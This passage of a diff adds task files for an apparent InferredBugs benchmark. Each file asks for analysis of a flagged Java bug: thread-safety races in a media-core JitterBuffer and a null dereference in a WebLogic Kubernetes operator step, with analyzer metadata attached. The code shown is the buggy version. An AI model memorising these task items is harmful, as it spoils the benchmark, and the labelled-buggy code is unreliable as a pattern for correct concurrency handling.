+byte[] IceHandler.processRequest(StunRequest,InetSocketAddress,InetSocketAddress)
+
+### Procedure Id:
+org.mobicents.media.io.ice.IceHandler.processRequest(org.mobicents.media.io.stun.messages.StunReques.cea2d4d505057ba4b3cca8f21cb45f10
+
+### File:
+io/ice/src/main/java/org/mobicents/media/io/ice/IceHandler.java
+
+### Key:
+IceHandler.java|processRequest|NULL_DEREFERENCE
+
+### Node Key:
+0968bf39be2b03b8a96ca936f7302727
+
+### Hash:
+0c98848cadb8bf23b8219d0ed62d37f5
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4992/instruction.md b/inferredbugs-4992/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c6f1ea950c0517cc1647c59ca8737d0b362694a6
--- /dev/null
+++ b/inferredbugs-4992/instruction.md
@@ -0,0 +1,456 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** media-core
+**Bug ID:** 13
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * JBoss, Home of Professional Open Source
+ * Copyright 2011, Red Hat, Inc. and individual contributors
+ * by the @authors tag. See the copyright.txt in the distribution for a
+ * full listing of individual contributors.
+ *
+ * This is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU Lesser General Public License as
+ * published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This software is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this software; if not, write to the Free
+ * Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA, or see the FSF site: http://www.fsf.org.
+ */
+
+package org.mobicents.media.server.impl.rtp;
+
+import java.io.Serializable;
+import java.util.ArrayList;
+import java.util.concurrent.locks.ReentrantLock;
+
+import org.apache.log4j.Logger;
+import org.mobicents.media.server.io.sdp.format.RTPFormat;
+import org.mobicents.media.server.io.sdp.format.RTPFormats;
+import org.mobicents.media.server.spi.memory.Frame;
+import org.mobicents.media.server.spi.memory.Memory;
+
+/**
+ * Implements jitter buffer.
+ * 
+ * A jitter buffer temporarily stores arriving packets in order to minimize
+ * delay variations. If packets arrive too late then they are discarded. A
+ * jitter buffer may be mis-configured and be either too large or too small.
+ * 
+ * If a jitter buffer is too small then an excessive number of packets may be
+ * discarded, which can lead to call quality degradation. If a jitter buffer is
+ * too large then the additional delay can lead to conversational difficulty.
+ * 
+ * A typical jitter buffer configuration is 30mS to 50mS in size. In the case of
+ * an adaptive jitter buffer then the maximum size may be set to 100-200mS. Note
+ * that if the jitter buffer size exceeds 100mS then the additional delay
+ * introduced can lead to conversational difficulty.
+ *
+ * @author oifa yulian
+ */
+public class JitterBuffer implements Serializable {
+	
+	private static final long serialVersionUID = -389930569631795779L;
+	
+	private final ReentrantLock LOCK = new ReentrantLock();
+
+	//The underlying buffer size
+    private static final int QUEUE_SIZE = 10;
+    //the underlying buffer
+    private ArrayList<Frame> queue = new ArrayList<Frame>(QUEUE_SIZE);
+    
+    //RTP clock
+    private RtpClock rtpClock;
+    //first received sequence number
+    private long isn = -1;
+
+    //allowed jitter
+    private long jitterBufferSize;
+    
+    //packet arrival dead line measured on RTP clock.
+    //initial value equals to infinity
+    private long arrivalDeadLine = 0;
+
+    //packet arrival dead line measured on RTP clock.
+    //initial value equals to infinity
+    private long droppedInRaw = 0;
+    
+    //The number of dropped packets
+    private int dropCount;
+
+    //known duration of media wich contains in this buffer.
+    private volatile long duration;
+
+    //buffer's monitor
+    private BufferListener listener;
+
+    private volatile boolean ready;
+    
+    /**
+     * used to calculate network jitter.
+     * currentTransit measures the relative time it takes for an RTP packet 
+     * to arrive from the remote server to MMS
+     */
+    private long currentTransit = 0;
+    
+    /**
+     * continuously updated value of network jitter 
+     */
+    private long currentJitter = 0;
+    
+    //transmission formats
+    private RTPFormats rtpFormats = new RTPFormats();
+    
+    //currently used format
+    private RTPFormat format;
+    
+    private Boolean useBuffer=true;
+    
+    private final static Logger logger = Logger.getLogger(JitterBuffer.class);
+    /**
+     * Creates new instance of jitter.
+     * 
+     * @param clock the rtp clock.
+     */
+    public JitterBuffer(RtpClock clock, int jitterBufferSize) {
+        this.rtpClock = clock;
+        this.jitterBufferSize = jitterBufferSize;        
+    }
+
+    private void initJitter(RtpPacket firstPacket) {
+        long arrival = rtpClock.getLocalRtpTime();
+        long firstPacketTimestamp = firstPacket.getTimestamp();
+        currentTransit = arrival - firstPacketTimestamp;
+    }
+    
+	/**
+	 * Calculates the current network jitter, which is an estimate of the
+	 * statistical variance of the RTP data packet interarrival time:
+	 * http://tools.ietf.org/html/rfc3550#appendix-A.8
+	 */
+	private void estimateJitter(RtpPacket newPacket) {
+		long arrival = rtpClock.getLocalRtpTime();
+		long newPacketTimestamp = newPacket.getTimestamp();
+		long transit = arrival - newPacketTimestamp;
+		long d = transit - currentTransit;
+		if (d < 0) {
+			d = -d;
+		}
+		//logger.info(String.format("recalculating jitter: arrival=%d, newPacketTimestamp=%d, transit=%d, transit delta=%d", arrival, newPacketTimestamp, transit, d ));
+		currentTransit = transit;
+		currentJitter += d - ((currentJitter + 8) >> 4);
+	}
+    
+    /**
+     * 
+     * @return the current value of the network RTP jitter. The value is in normalized form as specified in RFC 3550 
+     * http://tools.ietf.org/html/rfc3550#appendix-A.8
+     */
+    public long getEstimatedJitter() {
+            long jitterEstimate = currentJitter >> 4; 
+            // logger.info(String.format("Jitter estimated at %d. Current transit time is %d.", jitterEstimate, currentTransit));
+            return jitterEstimate;
+    }
+    
+    public void setFormats(RTPFormats rtpFormats) {
+        this.rtpFormats = rtpFormats;
+    }
+    
+    /**
+     * Gets the interarrival jitter.
+     *
+     * @return the current jitter value.
+     */
+    public double getJitter() {
+        return 0;
+    }
+
+    /**
+     * Gets the maximum interarrival jitter.
+     *
+     * @return the jitter value.
+     */
+    public double getMaxJitter() {
+        return 0;
+    }
+    
+    /**
+     * Get the number of dropped packets.
+     * 
+     * @return the number of dropped packets.
+     */
+    public int getDropped() {
+        return dropCount;
+    }
+    
+    public boolean bufferInUse()
+    {
+    	return this.useBuffer;
+    }
+    
+    public void setBufferInUse(boolean useBuffer)
+    {
+    	this.useBuffer=useBuffer;
+    }
+    
+    /**
+     * Assigns listener for this buffer.
+     * 
+     * @param listener the listener object.
+     */
+    public void setListener(BufferListener listener) {
+        this.listener = listener;
+    }
+
+    /**
+     * Accepts specified packet
+     *
+     * @param packet the packet to accept
+     */
+	public void write(RtpPacket packet, RTPFormat format) {
+		// checking format
+		if (format == null) {
+			logger.warn("No format specified. Packet dropped!");
+			return;
+		}
+
+		if (this.format == null || this.format.getID() != format.getID()) {
+			this.format = format;
+			logger.info("Format has been changed: " + this.format.toString());
+		}
+
+		// if this is first packet then synchronize clock
+		if (isn == -1) {
+			rtpClock.synchronize(packet.getTimestamp());
+			isn = packet.getSeqNumber();
+			initJitter(packet);
+		} else {
+			estimateJitter(packet);
+		}
+
+		// update clock rate
+		rtpClock.setClockRate(this.format.getClockRate());
+
+		// drop outstanding packets
+		// packet is outstanding if its timestamp of arrived packet is less
+		// then consumer media time
+		if (packet.getTimestamp() < this.arrivalDeadLine) {
+			logger.warn("drop packet: dead line=" + arrivalDeadLine + ", packet time=" + packet.getTimestamp() + ", seq=" + packet.getSeqNumber() + ", payload length=" + packet.getPayloadLength() + ", format=" + this.format.toString());
+			dropCount++;
+
+			// checking if not dropping too much
+			droppedInRaw++;
+			if (droppedInRaw == QUEUE_SIZE / 2 || queue.size() == 0) {
+				arrivalDeadLine = 0;
+			} else {
+				return;
+			}
+		}
+
+		Frame f = Memory.allocate(packet.getPayloadLength());
+		// put packet into buffer irrespective of its sequence number
+		f.setHeader(null);
+		f.setSequenceNumber(packet.getSeqNumber());
+		// here time is in milliseconds
+		f.setTimestamp(rtpClock.convertToAbsoluteTime(packet.getTimestamp()));
+		f.setOffset(0);
+		f.setLength(packet.getPayloadLength());
+		packet.getPayload(f.getData(), 0);
+
+		// set format
+		f.setFormat(this.format.getFormat());
+		
+		// make checks only if have packet
+		if (f != null) {
+		    LOCK.lock();
+
+		    droppedInRaw = 0;
+
+			// find correct position to insert a packet
+			// use timestamp since its always positive
+			int currIndex = queue.size() - 1;
+			while (currIndex >= 0 && queue.get(currIndex).getTimestamp() > f.getTimestamp()) {
+				currIndex--;
+			}
+
+			// check for duplicate packet
+			if (currIndex >= 0 && queue.get(currIndex).getSequenceNumber() == f.getSequenceNumber()) {
+			    LOCK.unlock();
+				return;
+			}
+
+			queue.add(currIndex + 1, f);
+
+			// recalculate duration of each frame in queue and overall duration
+			// since we could insert the frame in the middle of the queue
+			duration = 0;
+			if (queue.size() > 1) {
+				duration = queue.get(queue.size() - 1).getTimestamp() - queue.get(0).getTimestamp();
+			}
+
+			for (int i = 0; i < queue.size() - 1; i++) {
+				// duration measured by wall clock
+				long d = queue.get(i + 1).getTimestamp() - queue.get(i).getTimestamp();
+				// in case of RFC2833 event timestamp remains same
+				queue.get(i).setDuration(d > 0 ? d : 0);
+			}
+
+			// if overall duration is negative we have some mess here,try to
+			// reset
+			if (duration < 0 && queue.size() > 1) {
+				logger.warn("Something messy happened. Reseting jitter buffer!");
+				reset();
+				LOCK.unlock();
+				return;
+			}
+
+			// overflow?
+			// only now remove packet if overflow , possibly the same packet we just received
+			if (queue.size() > QUEUE_SIZE) {
+				logger.warn("Buffer overflow!");
+				dropCount++;
+				queue.remove(0).recycle();
+			}
+			LOCK.unlock();
+
+			// check if this buffer already full
+			if (!ready) {
+				ready = !useBuffer || (duration >= jitterBufferSize && queue.size() > 1);
+				if (ready && listener != null) {
+					listener.onFill();
+				}
+			}
+		}
+	}     
+
+    /**
+     * Polls packet from buffer's head.
+     *
+     * @param timestamp the media time measured by reader
+     * @return the media frame.
+     */
+    public Frame read(long timestamp) {
+    	if (queue.size()==0) {
+    		this.ready = false;
+    		return null;
+    	}
+    	
+    	LOCK.lock();
+    	
+    	//extract packet
+    	Frame frame = queue.remove(0);
+    		
+    	//buffer empty now? - change ready flag.
+    	if (queue.size() == 0) {
+    		this.ready = false;
+    		//arrivalDeadLine = 0;
+    		//set it as 1 ms since otherwise will be dropped by pipe
+    		frame.setDuration(1);
+    	}
+    	
+    	LOCK.unlock();
+    		
+    	arrivalDeadLine = rtpClock.convertToRtpTime(frame.getTimestamp() + frame.getDuration());
+    	
+    	//convert duration to nanoseconds
+    	frame.setDuration(frame.getDuration() * 1000000L);
+    	frame.setTimestamp(frame.getTimestamp() * 1000000L);
+        
+    	return frame;    	
+    }
+    
+    /**
+     * Resets buffer.
+     */
+    public void reset() {
+    	while(queue.size()>0)
+    		queue.remove(0).recycle();
+    }
+    
+    public void restart() {
+    	reset();
+    	this.ready=false;
+    	arrivalDeadLine = 0;
+    	dropCount=0;
+    	droppedInRaw=0;
+    	format=null;
+    	isn=-1;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `org.mobicents.media.server.impl.rtp.JitterBuffer.write` indirectly writes to field `this.org.mobicents.media.server.impl.rtp.JitterBuffer.rtpClock.org.mobicents.media.server.impl.rtp.RtpClock.scale` outside of synchronization.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void JitterBuffer.write(RtpPacket,RTPFormat)
+
+### Procedure Id:
+org.mobicents.media.server.impl.rtp.JitterBuffer.write(org.mobicents.media.server.impl.rtp.RtpPacket.6c3d4cbcf94252696caa4a5dcec4e6ba
+
+### File:
+io/rtp/src/main/java/org/mobicents/media/server/impl/rtp/JitterBuffer.java
+
+### Key:
+JitterBuffer.java|write|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+883fcfbdaf53db51b014ddabc78545b6
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4995/instruction.md b/inferredbugs-4995/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..ffdc1b25584f8a532b5c0a074c1637f6cca13c69
--- /dev/null
+++ b/inferredbugs-4995/instruction.md
@@ -0,0 +1,456 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** media-core
+**Bug ID:** 22
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * JBoss, Home of Professional Open Source
+ * Copyright 2011, Red Hat, Inc. and individual contributors
+ * by the @authors tag. See the copyright.txt in the distribution for a
+ * full listing of individual contributors.
+ *
+ * This is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU Lesser General Public License as
+ * published by the Free Software Foundation; either version 2.1 of
+ * the License, or (at your option) any later version.
+ *
+ * This software is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this software; if not, write to the Free
+ * Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA
+ * 02110-1301 USA, or see the FSF site: http://www.fsf.org.
+ */
+
+package org.mobicents.media.server.impl.rtp;
+
+import java.io.Serializable;
+import java.util.ArrayList;
+import java.util.concurrent.locks.ReentrantLock;
+
+import org.apache.log4j.Logger;
+import org.mobicents.media.server.io.sdp.format.RTPFormat;
+import org.mobicents.media.server.io.sdp.format.RTPFormats;
+import org.mobicents.media.server.spi.memory.Frame;
+import org.mobicents.media.server.spi.memory.Memory;
+
+/**
+ * Implements jitter buffer.
+ * 
+ * A jitter buffer temporarily stores arriving packets in order to minimize
+ * delay variations. If packets arrive too late then they are discarded. A
+ * jitter buffer may be mis-configured and be either too large or too small.
+ * 
+ * If a jitter buffer is too small then an excessive number of packets may be
+ * discarded, which can lead to call quality degradation. If a jitter buffer is
+ * too large then the additional delay can lead to conversational difficulty.
+ * 
+ * A typical jitter buffer configuration is 30mS to 50mS in size. In the case of
+ * an adaptive jitter buffer then the maximum size may be set to 100-200mS. Note
+ * that if the jitter buffer size exceeds 100mS then the additional delay
+ * introduced can lead to conversational difficulty.
+ *
+ * @author oifa yulian
+ */
+public class JitterBuffer implements Serializable {
+	
+	private static final long serialVersionUID = -389930569631795779L;
+	
+	private final ReentrantLock LOCK = new ReentrantLock();
+
+	//The underlying buffer size
+    private static final int QUEUE_SIZE = 10;
+    //the underlying buffer
+    private ArrayList<Frame> queue = new ArrayList<Frame>(QUEUE_SIZE);
+    
+    //RTP clock
+    private RtpClock rtpClock;
+    //first received sequence number
+    private long isn = -1;
+
+    //allowed jitter
+    private long jitterBufferSize;
+    
+    //packet arrival dead line measured on RTP clock.
+    //initial value equals to infinity
+    private long arrivalDeadLine = 0;
+
+    //packet arrival dead line measured on RTP clock.
+    //initial value equals to infinity
+    private long droppedInRaw = 0;
+    
+    //The number of dropped packets
+    private int dropCount;
+
+    //known duration of media wich contains in this buffer.
+    private volatile long duration;
+
+    //buffer's monitor
+    private BufferListener listener;
+
+    private volatile boolean ready;
+    
+    /**
+     * used to calculate network jitter.
+     * currentTransit measures the relative time it takes for an RTP packet 
+     * to arrive from the remote server to MMS
+     */
+    private long currentTransit = 0;
+    
+    /**
+     * continuously updated value of network jitter 
+     */
+    private long currentJitter = 0;
+    
+    //transmission formats
+    private RTPFormats rtpFormats = new RTPFormats();
+    
+    //currently used format
+    private RTPFormat format;
+    
+    private Boolean useBuffer=true;
+    
+    private final static Logger logger = Logger.getLogger(JitterBuffer.class);
+    /**
+     * Creates new instance of jitter.
+     * 
+     * @param clock the rtp clock.
+     */
+    public JitterBuffer(RtpClock clock, int jitterBufferSize) {
+        this.rtpClock = clock;
+        this.jitterBufferSize = jitterBufferSize;        
+    }
+
+    private void initJitter(RtpPacket firstPacket) {
+        long arrival = rtpClock.getLocalRtpTime();
+        long firstPacketTimestamp = firstPacket.getTimestamp();
+        currentTransit = arrival - firstPacketTimestamp;
+    }
+    
+	/**
+	 * Calculates the current network jitter, which is an estimate of the
+	 * statistical variance of the RTP data packet interarrival time:
+	 * http://tools.ietf.org/html/rfc3550#appendix-A.8
+	 */
+	private void estimateJitter(RtpPacket newPacket) {
+		long arrival = rtpClock.getLocalRtpTime();
+		long newPacketTimestamp = newPacket.getTimestamp();
+		long transit = arrival - newPacketTimestamp;
+		long d = transit - currentTransit;
+		if (d < 0) {
+			d = -d;
+		}
+		//logger.info(String.format("recalculating jitter: arrival=%d, newPacketTimestamp=%d, transit=%d, transit delta=%d", arrival, newPacketTimestamp, transit, d ));
+		currentTransit = transit;
+		currentJitter += d - ((currentJitter + 8) >> 4);
+	}
+    
+    /**
+     * 
+     * @return the current value of the network RTP jitter. The value is in normalized form as specified in RFC 3550 
+     * http://tools.ietf.org/html/rfc3550#appendix-A.8
+     */
+    public long getEstimatedJitter() {
+            long jitterEstimate = currentJitter >> 4; 
+            // logger.info(String.format("Jitter estimated at %d. Current transit time is %d.", jitterEstimate, currentTransit));
+            return jitterEstimate;
+    }
+    
+    public void setFormats(RTPFormats rtpFormats) {
+        this.rtpFormats = rtpFormats;
+    }
+    
+    /**
+     * Gets the interarrival jitter.
+     *
+     * @return the current jitter value.
+     */
+    public double getJitter() {
+        return 0;
+    }
+
+    /**
+     * Gets the maximum interarrival jitter.
+     *
+     * @return the jitter value.
+     */
+    public double getMaxJitter() {
+        return 0;
+    }
+    
+    /**
+     * Get the number of dropped packets.
+     * 
+     * @return the number of dropped packets.
+     */
+    public int getDropped() {
+        return dropCount;
+    }
+    
+    public boolean bufferInUse()
+    {
+    	return this.useBuffer;
+    }
+    
+    public void setBufferInUse(boolean useBuffer)
+    {
+    	this.useBuffer=useBuffer;
+    }
+    
+    /**
+     * Assigns listener for this buffer.
+     * 
+     * @param listener the listener object.
+     */
+    public void setListener(BufferListener listener) {
+        this.listener = listener;
+    }
+
+    /**
+     * Accepts specified packet
+     *
+     * @param packet the packet to accept
+     */
+	public void write(RtpPacket packet, RTPFormat format) {
+		// checking format
+		if (format == null) {
+			logger.warn("No format specified. Packet dropped!");
+			return;
+		}
+
+		if (this.format == null || this.format.getID() != format.getID()) {
+			this.format = format;
+			logger.info("Format has been changed: " + this.format.toString());
+		}
+
+		// if this is first packet then synchronize clock
+		if (isn == -1) {
+			rtpClock.synchronize(packet.getTimestamp());
+			isn = packet.getSeqNumber();
+			initJitter(packet);
+		} else {
+			estimateJitter(packet);
+		}
+
+		// update clock rate
+		rtpClock.setClockRate(this.format.getClockRate());
+
+		// drop outstanding packets
+		// packet is outstanding if its timestamp of arrived packet is less
+		// then consumer media time
+		if (packet.getTimestamp() < this.arrivalDeadLine) {
+			logger.warn("drop packet: dead line=" + arrivalDeadLine + ", packet time=" + packet.getTimestamp() + ", seq=" + packet.getSeqNumber() + ", payload length=" + packet.getPayloadLength() + ", format=" + this.format.toString());
+			dropCount++;
+
+			// checking if not dropping too much
+			droppedInRaw++;
+			if (droppedInRaw == QUEUE_SIZE / 2 || queue.size() == 0) {
+				arrivalDeadLine = 0;
+			} else {
+				return;
+			}
+		}
+
+		Frame f = Memory.allocate(packet.getPayloadLength());
+		// put packet into buffer irrespective of its sequence number
+		f.setHeader(null);
+		f.setSequenceNumber(packet.getSeqNumber());
+		// here time is in milliseconds
+		f.setTimestamp(rtpClock.convertToAbsoluteTime(packet.getTimestamp()));
+		f.setOffset(0);
+		f.setLength(packet.getPayloadLength());
+		packet.getPayload(f.getData(), 0);
+
+		// set format
+		f.setFormat(this.format.getFormat());
+		
+		// make checks only if have packet
+		if (f != null) {
+		    LOCK.lock();
+
+		    droppedInRaw = 0;
+
+			// find correct position to insert a packet
+			// use timestamp since its always positive
+			int currIndex = queue.size() - 1;
+			while (currIndex >= 0 && queue.get(currIndex).getTimestamp() > f.getTimestamp()) {
+				currIndex--;
+			}
+
+			// check for duplicate packet
+			if (currIndex >= 0 && queue.get(currIndex).getSequenceNumber() == f.getSequenceNumber()) {
+			    LOCK.unlock();
+				return;
+			}
+
+			queue.add(currIndex + 1, f);
+
+			// recalculate duration of each frame in queue and overall duration
+			// since we could insert the frame in the middle of the queue
+			duration = 0;
+			if (queue.size() > 1) {
+				duration = queue.get(queue.size() - 1).getTimestamp() - queue.get(0).getTimestamp();
+			}
+
+			for (int i = 0; i < queue.size() - 1; i++) {
+				// duration measured by wall clock
+				long d = queue.get(i + 1).getTimestamp() - queue.get(i).getTimestamp();
+				// in case of RFC2833 event timestamp remains same
+				queue.get(i).setDuration(d > 0 ? d : 0);
+			}
+
+			// if overall duration is negative we have some mess here,try to
+			// reset
+			if (duration < 0 && queue.size() > 1) {
+				logger.warn("Something messy happened. Reseting jitter buffer!");
+				reset();
+				LOCK.unlock();
+				return;
+			}
+
+			// overflow?
+			// only now remove packet if overflow , possibly the same packet we just received
+			if (queue.size() > QUEUE_SIZE) {
+				logger.warn("Buffer overflow!");
+				dropCount++;
+				queue.remove(0).recycle();
+			}
+			LOCK.unlock();
+
+			// check if this buffer already full
+			if (!ready) {
+				ready = !useBuffer || (duration >= jitterBufferSize && queue.size() > 1);
+				if (ready && listener != null) {
+					listener.onFill();
+				}
+			}
+		}
+	}     
+
+    /**
+     * Polls packet from buffer's head.
+     *
+     * @param timestamp the media time measured by reader
+     * @return the media frame.
+     */
+    public Frame read(long timestamp) {
+    	if (queue.size()==0) {
+    		this.ready = false;
+    		return null;
+    	}
+    	
+    	LOCK.lock();
+    	
+    	//extract packet
+    	Frame frame = queue.remove(0);
+    		
+    	//buffer empty now? - change ready flag.
+    	if (queue.size() == 0) {
+    		this.ready = false;
+    		//arrivalDeadLine = 0;
+    		//set it as 1 ms since otherwise will be dropped by pipe
+    		frame.setDuration(1);
+    	}
+    	
+    	LOCK.unlock();
+    		
+    	arrivalDeadLine = rtpClock.convertToRtpTime(frame.getTimestamp() + frame.getDuration());
+    	
+    	//convert duration to nanoseconds
+    	frame.setDuration(frame.getDuration() * 1000000L);
+    	frame.setTimestamp(frame.getTimestamp() * 1000000L);
+        
+    	return frame;    	
+    }
+    
+    /**
+     * Resets buffer.
+     */
+    public void reset() {
+    	while(queue.size()>0)
+    		queue.remove(0).recycle();
+    }
+    
+    public void restart() {
+    	reset();
+    	this.ready=false;
+    	arrivalDeadLine = 0;
+    	dropCount=0;
+    	droppedInRaw=0;
+    	format=null;
+    	isn=-1;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.mobicents.media.server.impl.rtp.JitterBuffer.write` reads with synchronization from `this.org.mobicents.media.server.impl.rtp.JitterBuffer.dropCount`. Potentially races with unsynchronized write in method `JitterBuffer.write(...)`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void JitterBuffer.write(RtpPacket,RTPFormat)
+
+### Procedure Id:
+org.mobicents.media.server.impl.rtp.JitterBuffer.write(org.mobicents.media.server.impl.rtp.RtpPacket.6c3d4cbcf94252696caa4a5dcec4e6ba
+
+### File:
+io/rtp/src/main/java/org/mobicents/media/server/impl/rtp/JitterBuffer.java
+
+### Key:
+JitterBuffer.java|write|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+62f24245c7ea87b435aa6df8c65b4000
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5010/instruction.md b/inferredbugs-5010/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..6e3940dbfd907a556d99ecac8171b4956e13c605
--- /dev/null
+++ b/inferredbugs-5010/instruction.md
@@ -0,0 +1,147 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** weblogic-kubernetes-operator
+**Bug ID:** 13
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+// Copyright 2017, 2018, Oracle Corporation and/or its affiliates.  All rights reserved.
+// Licensed under the Universal Permissive License v 1.0 as shown at
+// http://oss.oracle.com/licenses/upl.
+
+package oracle.kubernetes.operator.steps;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.List;
+import java.util.Map;
+import oracle.kubernetes.operator.helpers.DomainPresenceInfo;
+import oracle.kubernetes.operator.helpers.ServerKubernetesObjects;
+import oracle.kubernetes.operator.logging.LoggingFacade;
+import oracle.kubernetes.operator.logging.LoggingFactory;
+import oracle.kubernetes.operator.work.NextAction;
+import oracle.kubernetes.operator.work.Packet;
+import oracle.kubernetes.operator.work.Step;
+import oracle.kubernetes.weblogic.domain.v2.Domain;
+import oracle.kubernetes.weblogic.domain.v2.DomainSpec;
+
+public class ServerDownIteratorStep extends Step {
+  private static final LoggingFacade LOGGER = LoggingFactory.getLogger("Operator", "Operator");
+
+  private final Collection<Map.Entry<String, ServerKubernetesObjects>> c;
+
+  public ServerDownIteratorStep(
+      Collection<Map.Entry<String, ServerKubernetesObjects>> serversToStop, Step next) {
+    super(next);
+    this.c = serversToStop;
+  }
+
+  public List<String> getServersToStop() {
+    List<String> serverNames = new ArrayList<>();
+    for (Map.Entry<String, ServerKubernetesObjects> entry : c) {
+      serverNames.add(entry.getKey());
+    }
+    return Collections.unmodifiableList(serverNames);
+  }
+
+  @Override
+  public NextAction apply(Packet packet) {
+    Collection<StepAndPacket> startDetails = new ArrayList<>();
+
+    for (Map.Entry<String, ServerKubernetesObjects> entry : c) {
+      startDetails.add(
+          new StepAndPacket(
+              new ServerDownStep(entry.getKey(), entry.getValue(), null), packet.clone()));
+    }
+
+    if (LOGGER.isFineEnabled()) {
+      DomainPresenceInfo info = packet.getSPI(DomainPresenceInfo.class);
+
+      Domain dom = info.getDomain();
+      DomainSpec spec = dom.getSpec();
+
+      Collection<String> stopList = new ArrayList<>();
+      for (Map.Entry<String, ServerKubernetesObjects> entry : c) {
+        stopList.add(entry.getKey());
+      }
+      LOGGER.fine(
+          "Stopping servers for domain with UID: "
+              + spec.getDomainUID()
+              + ", stop list: "
+              + stopList);
+    }
+
+    if (startDetails.isEmpty()) {
+      return doNext(packet);
+    }
+    return doForkJoin(getNext(), packet, startDetails);
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `info` last assigned on line 52 could be null and is dereferenced at line 54.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+NextAction ServerDownIteratorStep.apply(Packet)
+
+### Procedure Id:
+oracle.kubernetes.operator.steps.ServerDownIteratorStep.apply(oracle.kubernetes.operator.work.Packet.d005e8eb14f367f50ac15361e38e1bcc
+
+### File:
+operator/src/main/java/oracle/kubernetes/operator/steps/ServerDownIteratorStep.java
+
+### Key:
+ServerDownIteratorStep.java|apply|NULL_DEREFERENCE
+
+### Node Key:
+75a3105ef036e14d28c2a0df35d92164
+
+### Hash:
+92fd9fbb8f5db16b93b3e4659cf4fffe
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
